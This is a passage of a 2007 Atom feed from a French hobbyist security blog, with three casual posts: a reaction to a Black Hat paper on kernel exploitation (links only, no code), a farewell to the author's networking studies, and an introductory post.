href='http://vulndev.blogspot.com/2007/04/bonjour-les-futurs-ingnieurs-du-2000.html' title='Bonjour les futurs ingénieurs du 2000!'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-117602241030265518</id><published>2007-04-08T00:58:00.000-07:00</published><updated>2007-06-18T10:52:41.649-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sayku'/><title type='text'>JOJO C'EST UN MONSTRE!</title><content type='html'>Pouaaak! Après l'exploitation d'un déférencement de pointeur NULL dans le kernel d'OpenBSD aux CCC du Maitre Fuzzer &lt;a href="http://ilja.netric.org/"&gt;Ilja&lt;/a&gt;, c'est au tour de Joel Eriksson et ses amis de &lt;a href="http://bitsec.com"&gt;bitsec&lt;/a&gt; de faire le show à la blackhat d'Amsterdam en s'attaquant aux kernels de FreeBSD, NetBSD et Windows.&lt;br /&gt;&lt;br /&gt;Je n'ai pas assisté à la présentation mais un excellent &lt;a href="http://www.hotsecuritynews.com/bh-eu-07/eriksson,janmar,%20oberg/whitepaper/bh-eu-07-eriksson-wp.pdf"&gt;papier&lt;/a&gt; a été publié et il vaut son pesant de cacahuètes!&lt;br /&gt;&lt;br /&gt;Dans ce papier, nous n'avons pas qu'une banale description des failles mais carrément une description des techniques utilisées pour les exploiter et ÇA LES AMIS, ÇA ARRACHE LE ZIZI... Même si le terme "kernel" peut faire irrisser les poils de certains, l'exploitation de ce genre de vulnérabilité est bien plus simple qu'en userland où depuis quelques années des méchants bonhommes verts jouent avec des &lt;a href="http://altmylife.blogspot.com/2007/04/stack-smashing-detected-terminated.html"&gt;canaries&lt;/a&gt; bien poilus, balancent des octets blancs en sautillant dans tous les sens... pour effrayer les shellcodes. À l'inverse, dans le monde du noyal, tout est beau, tout est rose... nous avons des pointeurs sur fonctions, des tables de syscalls, des saved EIP, des mbufs croustillants et toussa qui se baladent tranquillement tout nu... et qui sont ouverts à toute proposition même les plus déjantées (cf. la backdoor du Monsieur qui fait le café en recevant des management-frames).&lt;br /&gt;&lt;br /&gt;En complément de l'article, comme nous n'avons pas les bouts de code qui vont avec, on peut zieuter l'&lt;a href="http://milw0rm.com/exploits/3491"&gt;exploit&lt;/a&gt; contre OpenBSD &lt;span style="font-size:85%;"&gt;[1]&lt;/span&gt; de coresdi qui fait mumuse avec l'entête d'un extended mbuf comme pour l'exploitation de la faille trouvée dans NetBSD.&lt;br /&gt;&lt;br /&gt;À quand un fuzzer d'ioctl() spécial 802.11?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;[1]&lt;/span&gt; OH &lt;a href="http://www.openbsd.org/cgi-bin/cvsweb/www/index.html.diff?r1=1.548&amp;amp;r2=1.549"&gt;NOOOOOOOOOOOON&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-117602241030265518?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/117602241030265518/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=117602241030265518' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/117602241030265518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/117602241030265518'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2007/04/jojo-cest-un-monstre.html' title='JOJO C&apos;EST UN MONSTRE!'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-117580747945581069</id><published>2007-04-05T13:48:00.000-07:00</published><updated>2007-06-18T10:52:30.834-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='whoami'/><title type='text'>Deux ans de...</title><content type='html'>Hoplà, mon DUT &lt;span style="font-style: italic;"&gt;peignage de girafes&lt;/span&gt; euh non &lt;span style="font-style: italic;"&gt;réseaux et télécoms &lt;/span&gt;se termine avec un mini-stage que je vais effectuer chez netasq. La fin de...&lt;br /&gt;&lt;br /&gt;Deux ans de compilage... où nous avons appris à aimer le java... Eh oui, même si c'est de la grosse merde, que ça avance pas une cacahuète... bein c'est PORTABLE les amis et &lt;span style="font-style: italic;"&gt;ça s'écrit bien&lt;/span&gt;... &lt;span style="font-style: italic;"&gt;dans eclipse&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Deux ans de radiation... où nos cervelles, bien que très molles, ont réussi à surmonter la charge causer par les ondes radioélectriques pour tracer de jolies &lt;acronym title="Fast Fourier Transform"&gt;FFT&lt;/acronym&gt; sur des oscillos d'extra-terrestre.&lt;br /&gt;&lt;br /&gt;Deux ans de sadisme... où nous avons appris à administrer un serveur sous Mandrake à partir d'un KDE tout rouge et à bien-cliquer-où-il-faut sur du microsoft windows server 2003.&lt;br /&gt;&lt;br /&gt;Deux ans de train... avec la blonde de Lillers, la brune d'Iseberg, &lt;del&gt;la rousse d'Hazebrouck&lt;/del&gt;...&lt;br /&gt;&lt;br /&gt;Deux ans de &lt;acronym title="Restaurant Universitaire"&gt;RU&lt;/acronym&gt;... où "MOI JE MANGE DES FRITES", "Y'EN A MARRE! INTÈGRE-TOI MERDE!", &lt;del&gt;"MATTE MOI CE BOULE"&lt;/del&gt;...&lt;br /&gt;&lt;br /&gt;Deux ans de carnage... à killer du quake le midi!&lt;br /&gt;&lt;br /&gt;Deux ans... Deux ans...&lt;br /&gt;&lt;br /&gt;Deux ans de bonheurs... où j'ai fais la connaissance de gens et gentes formidables. Tous les moments passés avec vous resteront gravés à jamais dans ma ROM. Vous savez qui vous êtes.&lt;br /&gt;&lt;br /&gt;En bref, deux ans inoubliables... merci l'IUT de Béthune. :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-117580747945581069?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/117580747945581069/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=117580747945581069' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/117580747945581069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/117580747945581069'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2007/04/deux-ans-de.html' title='Deux ans de...'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-114711503067269057</id><published>2006-05-08T12:01:00.000-07:00</published><updated>2007-06-18T10:52:30.834-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='whoami'/><title type='text'>Can you introduce yourself ?</title><content type='html'>Désolé Monsieur mais je ne sais pas encore qui je suis...&lt;br /&gt;&lt;br /&gt;En période de bralange intense, certains parcourent la skyblogosphère tout en lachant quelques commentaires intellectuels, tchatent sur MSHAINE, se saoûlent au rhum agricole, ré-ré-ré-installent microsoft windows... etc, et d'autres créent même des blogs. Perso., j'ai opté pour la dernière action, on verra si c'était le bon choix.&lt;br /&gt;&lt;br /&gt;Ça va causer de ma vie passionnante... &lt;span style="font-style: italic;"&gt;ma chienne lili, mon lapin-nain bugs&lt;/span&gt;, ..., de microsoft windows... &lt;span style="font-style: italic;"&gt;"bein cha plante bien&lt;/span&gt;", ..., et aussi de sécurité... mais juste un peu.&lt;br /&gt;&lt;br /&gt;Puis si ça ne marche pas, rm -fr.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-114711503067269057?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/114711503067269057/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=114711503067269057' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/114711503067269057'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/114711503067269057'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2006/05/can-you-introduce-yourself.html' title='Can you introduce yourself ?'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry></feed>
